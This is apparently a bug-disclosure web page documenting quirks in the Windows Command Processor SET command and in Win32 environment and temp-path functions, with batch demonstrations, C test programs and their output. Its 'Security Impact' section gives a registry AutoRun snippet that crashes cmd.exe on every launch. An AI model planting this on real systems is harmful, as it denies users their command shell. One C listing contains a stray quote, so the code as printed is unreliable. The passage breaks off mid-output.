OUCH¹: the Command Processor mistreats valid filenames containing an opening parenthesis (, a comma ,, a semicolon ; or an equals sign =, and interprets these characters as separator!

OUCH²: contrary to its documentation cited above, CALL does not just call batch scripts and has effect at the interactive command prompt.

OUCH³: in builtin commands, the Command Processor mistreats comma, semicolon and equals sign almost always as delimiter or separator, and sometimes like white space.

Quirk № 6

The documentation for the builtin Set command of the Command Processor states:
Note: in the highlighted enumeration, the operators <<, >> and ^ are missing!

Demonstration

Perform the following 9 simple steps to prove the documentation cited above wrong, show undocumented (mis)behaviour and finally a bug!
  1. Start the Command Processor, then run the following command lines to remove all environment variables and list what’s left:

    REM Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    CHDIR /D "%ALLUSERSPROFILE%"
    FOR /F "Delims==" %? IN ('SET') DO @SET %?=
    SET ""
    Note: the command lines can be copied and pasted as block into a Command Processor window!
    
    =C:=C:\ProgramData
    =ExitCode=00000000
    Note: the undocumented command SET "" alias SET "‹any number of spaces›" lists all (regular) environment variables, including the undocumented internal environment variables whose name starts with an equals sign =.
  2. Show some more undocumented environment variables plus strange (mis)behaviour:

    SET __
    IF DEFINED __APPDIR__ ECHO Environment variable '__APPDIR__' is defined!
    IF NOT DEFINED __CD__ ECHO Environment variable '__CD__' is not defined!
    ECHO '%__APPDIR__%'
    ECHO '%__CD__%'
    SET NUMBER_OF_PROCESSORS
    IF DEFINED NUMBER_OF_PROCESSORS ECHO Environment variable 'NUMBER_OF_PROCESSORS' is defined!
    ECHO '%NUMBER_OF_PROCESSORS%'
    SET NUMBER_OF_PROCESSORS=quirk
    SET NUMBER_OF_PROCESSORS
    ECHO '%NUMBER_OF_PROCESSORS%'
    Environment variable __ not defined
    Environment variable '__APPDIR__' is defined!
    'C:\Windows\system32\'
    'C:\ProgramData\'
    Environment variable NUMBER_OF_PROCESSORS not defined
    Environment variable 'NUMBER_OF_PROCESSORS' is defined!
    '2'
    NUMBER_OF_PROCESSORS=quirk
    '2'
    Oops: the environment variables __CD__, __APPDIR__ and NUMBER_OF_PROCESSORS are both defined and not defined: this quirk shows quantum effects!

    Note: the undocumented (dynamic) pseudo environment variables __CD__, __APPDIR__ and NUMBER_OF_PROCESSORS are created (read-only) deep down in the bowels of NTDLL.dll and evaluated by the Win32 functions ExpandEnvironmentStrings() and GetEnvironmentVariable()!

    OUCH: a fresh set (regular) environment variable NUMBER_OF_PROCESSORS shows two different values: yet another quantum effect!

    Note: for the dynamic environment variables CMDCMDLINE, CMDEXTVERSION and ERRORLEVEL provided by the Command Processor, the documentation for its builtin If command correctly states that their presence is reported by IF DEFINED and that they are obscured by eventually set (regular) environment variables with the same name; this applies also to the other dynamic environment variables provided by the Command Processor, CD, DATE, HIGHESTNUMANODENUMBER, RANDOM and TIME.

  3. Add some environment variables and list them all:

    SET !=exclamation mark
    SET #=hash sign
    SET $=dollar sign
    SET %=percent sign
    SET ^&=ampersand
    SET '=apostrophe
    SET (=left parenthesis
    SET )=right parenthesis
    SET *=asterisk
    SET +=plus sign
    SET ,=comma
    SET -=minus sign
    SET .=dot
    SET /=slash
    SET 0=zero
    SET 1=one
    SET 2=two
    SET 3=three
    SET 4=four
    SET 5=five
    SET 6=six
    SET 7=seven
    SET 8=eight
    SET 9=nine
    SET :=colon
    SET ;=semicolon
    SET ^<=less than
    SET ==equals sign
    SET ^>=greater than
    SET ?=question mark
    SET @=at sign
    SET [=left bracket
    SET \=backslash
    SET ]=right bracket
    SET ^^=caret
    SET _=underscore
    SET `=backtick
    SET {=left brace
    SET ^|=vertical bar
    SET }=right brace
    SET ~=tilde
    SET
    Syntax error
    Syntax error
    !=exclamation mark
    #=hash sign
    $=dollar sign
    %=percent sign
    &=ampersand
    '=apostrophe
    (=left parenthesis
    )=right parenthesis
    *=asterisk
    +=plus sign
    ,=comma
    -=minus sign
    .=dot
    0=zero
    1=one
    2=two
    3=three
    4=four
    5=five
    6=six
    7=seven
    8=eight
    9=nine
    :=colon
    ;=semicolon
    <=less than
    >=greater than
    ?=question mark
    @=at sign
    [=left bracket
    \=backslash
    ]=right bracket
    ^=caret
    _=underscore
    `=backtick
    {=left brace
    |=vertical bar
    }=right brace
    ~=tilde
    Oops: except for = and /, which are rejected (as expected: = terminates a variable name and /=… is an invalid switch) with an error message, all printable non-alphabetical ASCII characters are accepted as valid variable names!

    Note: the evaluation of the (mis)behaviour for single character variable names beyond the 7-bit ASCII code is left as an exercise to the reader.

  4. Evaluate environment variables with special command shell characters in their name with delayed expansion enabled:

    ECHO %%%
    ECHO %^&%
    ECHO %^<%
    ECHO %^>%
    ECHO %^^%
    ECHO %^|%
    ECHO !%!
    ECHO !^&!
    ECHO !^<!
    ECHO !^>!
    ECHO !^^!
    ECHO !^|!
    FOR /F "Delims==" %? IN ('SET') DO @SET %?=
    SET "/=slash"
    SET "/ =slash, blank"
    SET " / =blank, slash, blank"
    SET
    ECHO %/%
    ECHO %/ %
    ECHO % / %
    ECHO %;%
    %%%
    %&%
    %<%
    %>%
    %^%
    %|%
    percent sign
    ampersand
    less than
    greater than
    caret
    vertical bar
    /=slash
    / =blank, slash, blank
    ;=semicolon
    slash
    blank, slash, blank
    % / %
    semicolon
    Ouch: expansion of variables named %, &, <, >, ^ and | fails when enclosed in percent signs, i.e. with standard expansion; they have to be enclosed in exclamation marks instead, i.e. must use delayed expansion!

    Note: enclosed in quotation marks, / is finally accepted as environment variable name!

    Oops: (ab)using quotation marks, SET accepts variable names with trailing blanks, but strips leading blanks!

  5. Evaluate some numerical values:

    SET quirk=0xFFFFFFFF
    SET /A quirk
    SET quirk=0x80000000
    SET /A quirk
    SET quirk=4294967295
    SET /A quirk
    SET quirk=2147483647
    SET /A quirk
    SET quirk=-2147483648
    SET /A quirk
    SET quirk=-2147483649
    SET /A quirk
    SET quirk=-4294967296
    SET /A quirk
    SET quirk=-0xFFFFFFFF
    SET /A quirk
    SET quirk=
    2147483647
    2147483647
    2147483647
    2147483647
    -2147483648
    -2147483648
    -2147483648
    -2147483648
    Note: contrary to its documentation, SET /A works without variable name and assignment operator on the left side of an expression!

    OUCH: when read from an environment variable, positive (hexadecimal) values greater than 2147483647, the largest signed 32-bit integer, are clamped to 2147483647, and negative (hexadecimal) values smaller than −2147483648, the smallest signed 32-bit integer, are clamped to −2147483648!

  6. Evaluate the numerical value of two of the (documented) dynamic environment variables:

    ECHO %CMDEXTVERSION%
    SET /A CMDEXTVERSION
    ECHO %RANDOM%
    SET /A RANDOM
    2
    0
    27457
    0
    Oops: contrary to the second highlighted part in the documentation cited above, SET /A fails to evaluate dynamic environment variables!
  7. Perform some basic arithmetic operations:

    SET /A 65536 * 65536
    SET /A -65536 * 65536
    SET /A -65536 * -65536
    SET /A -32768 * -65536
    SET /A -32768 * 65536
    SET /A 32768 * 65536
    SET /A 32768 * 65536 - 1
    SET /A 32768 * 65536 + 32768 * 65536
    0
    0
    0
    -2147483648
    -2147483648
    -2147483648
    2147483647
    0
    Oops: 65536 × 65536 is equal to −65536 × 65536, −65536 × −65536 and 32768 × 65536 + 32768 × 65536, while 32768 × 65536 is equal to −32768 × 65536 and −32768 × −65536, i.e. signed integer overflow wraps around.
  8. Perform some basic logical operations:

    SET /A 1 ^<^< 31
    SET /A 1 ^<^< 31 ^>^> 30
    SET /A 1 ^<^< 32
    SET /A -1 ^>^> 33
    -2147483648
    -2
    0
    -1
    OUCH: contrary to the documentation cited above, the operator >> performs an arithmetic (right) shift instead of a logical shift, i.e. it propagates the sign bit to the right!

    Oops: the shift count is not limited to the width of the numbers!

  9. Finally show the bug:

    SET /A -2147483648
    SET /A ~2147483647
    SET /A ~2147483647 / -1
    SET /A ~2147483647 % -1
    Invalid number. Numbers are limited to 32-bits of precision.
    -2147483648
    Invalid number. Numbers are limited to 32-bits of precision.
    Oops: although valid, a literal −2147483648 is reported as invalid number.

    OUCH: on systems with i386 or AMD64 processor, the Command Processor crashes computing the modulus of −2147483648 ÷ −1 (which happens to be 0, the only number smaller in magnitude than the divisor −1)!

    Note: dividing −2147483648, the smallest signed 32-bit integer, by −1 yields the quotient 2147483648, which is but not representable as signed 32-bit integer and therefore produces an overflow (really: throws a division exception) that the Command Processor fails to handle, prevent or catch for the modulus operator, while it does so for the division operator!

    Note: integer overflow and failure to catch the eventually resulting exception are well-known weaknesses, documented as CWE-190: Integer Overflow or Wraparound and CWE-248: Uncaught Exception, in the CWE.

Security Impact

The documentation for the Command Processor Cmd.exe states:
Parameter Description
/d Disables execution of AutoRun commands.
[…]
By setting one or both of these registry entries to (for example) the value SET /A ~2147483647 % ~0 or the value SET /A "(1 << 31)" % -1, this 25 year old bug (really: absolute beginner’s programming error) can trivially be (ab)used to conduct a denial of service attack against the Command Processor and crash it upon launch, thus disabling its use for single or all users of a machine:
REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Command Processor]
"AutoRun"="SET /A ~2147483647 % ~0"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
"AutoRun"="SET /A \"(1 << 31)\" % -1"

MSRC Case 71680

Due to its security impact I reported this bug to the MSRC, where case number 71680 was assigned.

They replied with the following bullshit statement:

Though engineering confirmed the crash in this case, it was assessed as a Low severity DoS.
Their reasoning centers around the requirement to have admin privileges to pull off the attack.
OUCH: unprivileged users can write the AutoRun registry entry in their [HKEY_CURRENT_USER\Software\Microsoft\Command Processor] registry key, and they can insert the command SET /A "(1 << 31)" % ~0 or SET /A ~2147483647 % -1 in every batch script they are able to (over)write!

Will engineering ever learn to use their Windows PCs as unprivileged users?

Quirk № 7

The Win32 functions SetEnvironmentVariable() and GetEnvironmentVariable() are documented in the MSDN as follows:
DWORD SetEnvironmentVariable(
  LPCTSTR lpName,
  LPTSTR  lpValue
);
[…]

lpName

The name of the environment variable. The operating system creates the environment variable if it does not exist and lpValue is not NULL.

lpValue

The contents of the environment variable. […]

If this parameter is NULL, the variable is deleted from the current process's environment.

[…]

If the function succeeds, the return value is nonzero.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

DWORD GetEnvironmentVariable(
  LPCTSTR lpName,
  LPTSTR  lpBuffer,
  DWORD   nSize
);
[…]

nSize

The size of the buffer pointed to by the lpBuffer parameter, including the null-terminating character, in characters. […]

If the function fails, the return value is zero. If the specified environment variable was not found in the environment block, GetLastError returns ERROR_ENVVAR_NOT_FOUND.

Note: designed and implemented properly, this function would return the value of nSize for failure, supporting successful retrieval of empty environment variables!

In addition to the quirk bug demonstrated below, the documentation fails to tell that lpBuffer can be 0 alias NULL if nSize is 0 too.
It also exhibits a very common mistake that is present in many other MSDN articles too: there is no null-terminating character, but a (string-)terminating NUL alias (string-)terminating null character!

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk7.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    const	LPCWSTR	szCount[] = {L"__APPDIR__", L"__CD__"", L"FIRMWARE_TYPE", L"NUMBER_OF_PROCESSORS"};
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer;
    	DWORD	dwCount = 0;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		do
    		{
    			if (!SetEnvironmentVariable(szCount[dwCount], dwCount == 0 ? NULL : L""))
    				PrintConsole(hConsole,
    				             L"SetEnvironmentVariable(\"%ls\", \"%ls\") returned error %lu\n",
    				             szCount[dwCount], dwCount == 0 ? NULL : L"", dwError = GetLastError());
    
    			dwBuffer = GetEnvironmentVariable(szCount[dwCount], szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetEnvironmentVariable(\"%ls\", 0x%p, %lu) returned error %lu\n",
    				             szCount[dwCount], szBuffer, sizeof(szBuffer) / sizeof(*szBuffer), dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetEnvironmentVariable(\"%ls\", 0x%p, %lu) returned value \'%ls\' of %lu characters\n",
    				             szCount[dwCount], szBuffer, sizeof(szBuffer) / sizeof(*szBuffer), szBuffer, dwBuffer);
    		}
    		while (++dwCount < sizeof(szCount) / sizeof(*szCount));
    
    		if (!SetEnvironmentVariable(L"EMPTY", L""))
    			PrintConsole(hConsole,
    			             L"SetEnvironmentVariable(\"EMPTY\", \"\") returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetEnvironmentVariable(L"EMPTY", szBuffer, 0);
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetEnvironmentVariable(\"EMPTY\", 0x%p, 0) returned error %lu\n",
    				             szBuffer, dwError = GetLastError());
    			else
    			{
    				PrintConsole(hConsole,
    				             L"GetEnvironmentVariable(\"EMPTY\", 0x%p, 0) returned buffer size %lu\n",
    				             szBuffer, dwBuffer);
    
    				SetLastError('FAIL');
    
    				dwCount = GetEnvironmentVariable(L"EMPTY", szBuffer, dwBuffer);
    
    				if (dwCount == 0)
    					PrintConsole(hConsole,
    					             L"GetEnvironmentVariable(\"EMPTY\", 0x%p, %lu) returned error %lu\n",
    					             szBuffer, dwBuffer, dwError = GetLastError());
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk7.exe from the source file quirk7.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk7.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk7.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk7.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk7.exe
    quirk7.obj
  3. Execute the console application quirk7.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk7.exe
    SET /A 0x4641494C
    GetEnvironmentVariable("__APPDIR__", 0x0037F884, 260) returned value 'C:\Users\Stefan\Desktop\' of 24 characters
    GetEnvironmentVariable("__CD__", 0x0037F884, 260) returned value 'C:\Users\Stefan\Desktop\' of 24 characters
    GetEnvironmentVariable("FIRMWARE_TYPE", 0x0037F884, 260) returned error 183
    GetEnvironmentVariable("NUMBER_OF_PROCESSORS", 0x0037F884, 260) returned value '4' of 1 characters
    GetEnvironmentVariable("EMPTY", 0x0037F884, 0) returned buffer size 1
    GetEnvironmentVariable("EMPTY", 0x0037F884, 1) returned error 1178683724
    1178683724
    Note: the undocumented pseudo environment variable FIRMWARE_TYPE was introduced with Windows 8 and Windows Server 2012.

    Oops: the undocumented pseudo environment variables __APPDIR__, __CD__ and NUMBER_OF_PROCESSORS are neither read from nor written into the process environment block, but handled specially; their values are the pathnames of the application directory and the CWD, both with a trailing backslash, and the number of processor cores.

    OUCH¹: for the environment variables __APPDIR__, __CD__ and NUMBER_OF_PROCESSORS, the Win32 function SetEnvironmentVariable() returns success, but fails to delete them or overwrite their value!

    OUCH²: for environment variables with empty value, the Win32 function GetEnvironmentVariable() returns 0, but fails to (re)set the Win32 error code 0 alias ERROR_SUCCESS to indicate no error!

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 8

The Win32 functions GetTempPath() and GetTempFileName() are documented in the MSDN as follows:
DWORD GetTempPath(
  DWORD  nBufferLength,
  LPTSTR lpBuffer
);
[…]

If the function succeeds, the return value is the length, in TCHARs, of the string copied to lpBuffer, not including the terminating null character.

[…]

The maximum possible return value is MAX_PATH+1 (261).

[…]

The GetTempPath function checks for the existence of environment variables in the following order and uses the first path found:

  1. The path specified by the TMP environment variable.
  2. The path specified by the TEMP environment variable.
  3. The path specified by the USERPROFILE environment variable.
  4. The Windows directory.
UINT GetTempFileName(
  LPCTSTR lpPathName,
  LPCTSTR lpPrefixString,
  UINT    uUnique,
  LPTSTR  lpTempFileName
);
[…]

lpPathName

The directory path for the file name. Applications typically specify a period (.) for the current directory or the result of the GetTempPath function. The string cannot be longer than MAX_PATH−14 characters or GetTempFileName will fail.

In addition to the quirks bugs demonstrated below, the documentation for the GetTempPath() function fails to tell that lpBuffer can be 0 alias NULL if nBufferLength is 0 too.

There’s yet another (triple) omission in that documentation: The path specified by the […] environment variable. needs to be read as The absolute or relative path specified by the […] environment variable.

The default value of the system-specific environment variables TEMP and TMP is %SystemRoot%\TEMP, and the default value of the user-specific environment variables TEMP and TMP is %USERPROFILE%\AppData\Local\Temp, i.e. both reference another environment variable. If this one is undefined during creation of the environment block, the respective substring %SystemRoot% or %USERPROFILE% is not replaced with the contents of the referenced environment variable and thus preserved. In consequence the GetTempPath() function returns the literal value %SystemRoot%\TEMP or %USERPROFILE%\AppData\Local\Temp respectively, which both are valid relative pathnames. Since a subdirectory with this pathname does almost always not exist in the CWD, programs which rely on the existence of the path returned from the GetTempPath() function are subject to fail!

Demonstration

Perform the following 5 simple steps to show the (mis)behaviour.
  1. Create the text file quirk8.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH + 2];
    	DWORD	dwBuffer;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		dwBuffer = GetTempPath(sizeof(szBuffer) / sizeof(*szBuffer), szBuffer);
    
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetTempPath() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			PrintConsole(hConsole,
    			             L"GetTempPath() returned pathname \'%ls\' of %lu characters\n",
    			             szBuffer, dwBuffer);
    
    			if (GetTempFileName(szBuffer, L"tmp", 0, szBuffer) == 0)
    				PrintConsole(hConsole,
    				             L"GetTempFileName() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				PrintConsole(hConsole,
    				             L"GetTempFileName() returned pathname \'%ls\'\n",
    				             szBuffer);
    
    				if (!DeleteFile(szBuffer))
    					PrintConsole(hConsole,
    					             L"DeleteFile() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk8.exe from the source file quirk8.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk8.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk8.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk8.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk8.exe
    quirk8.obj
  3. Create the text file quirk8.cmd with the following content in the directory used in the previous steps 1. and 2.:

    REM Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    SETLOCAL
    CHDIR /D "%ALLUSERSPROFILE%"
    SET T
    @"%~dpn0.exe"
    SET TMP=
    @"%~dpn0.exe"
    SET TEMP=
    @"%~dpn0.exe"
    SET USERPROFILE=
    @"%~dpn0.exe"
    SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
    @"%~dpn0.exe"
    SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
    @"%~dpn0.exe"
    SET TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy
    @"%~dpn0.exe"
    SET TMP=%SystemDrive%\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvw
    @"%~dpn0.exe"
    SET TMP=%SystemDrive%\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv
    @"%~dpn0.exe"
    SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
    @"%~dpn0.exe"
    SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
    @"%~dpn0.exe"
    SET TMP=..
    @"%~dpn0.exe"
    SET TMP=%%USERPROFILE%%\AppData\Local\Temp
    @"%~dpn0.exe"
    SET TMP=%%SystemRoot%%\Temp
    @"%~dpn0.exe"
    SET TMP=NUL:
    @"%~dpn0.exe"
    EXIT /B
  4. Execute the batch script quirk8.cmd created in step 3. on Windows 7 (or an earlier version):

    .\quirk8.cmd
    REM Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    SETLOCAL
    CHDIR /D "C:\ProgramData"
    SET T
    TEMP=C:\Users\Stefan\AppData\Local\Temp
    TMP=C:\Users\Stefan\AppData\Local\Temp
    GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmp4711.tmp'
    
    SET TMP=
    GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmp4723.tmp'
    
    SET TEMP=
    GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\tmp4732.tmp'
    
    SET USERPROFILE=
    GetTempPath() returned pathname 'C:\Windows\' of 11 characters
    GetTempFileName() returned pathname 'C:\Windows\tmp4742.tmp'
    
    SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
    GetTempPath() returned pathname 'C:\Windows\' of 11 characters
    GetTempFileName() returned pathname 'C:\Windows\tmp4754.tmp'
    
    SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
    GetTempPath() returned pathname 'C:\Windows\' of 11 characters
    GetTempFileName() returned pathname 'C:\Windows\tmp4767.tmp'
    
    SET TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy
    GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy\' of 145 characters
    GetTempFileName() returned error 267
    
    SET TMP=C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvw
    GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy\' of 145 characters
    GetTempFileName() returned error 267
    
    SET TMP=C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv
    GetTempPath() returned pathname 'C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv\' of 130 characters
    GetTempFileName() returned error 267
    
    SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
    GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy\' of 145 characters
    GetTempFileName() returned error 267
    
    SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
    GetTempPath() returned pathname 'C:\ProgramData\' of 15 characters
    GetTempFileName() returned pathname 'C:\ProgramData\tmp47BD.tmp'
    
    SET TMP=..
    GetTempPath() returned pathname 'C:\' of 3 characters
    GetTempFileName() returned pathname 'C:\tmp47CE.tmp'
    
    SET TMP=%USERPROFILE%\AppData\Local\Temp
    GetTempPath() returned pathname 'C:\ProgramData\%USERPROFILE%\AppData\Local\Temp\' of 48 characters
    GetTempFileName() returned error 267
    
    SET TMP=%SystemRoot%\Temp
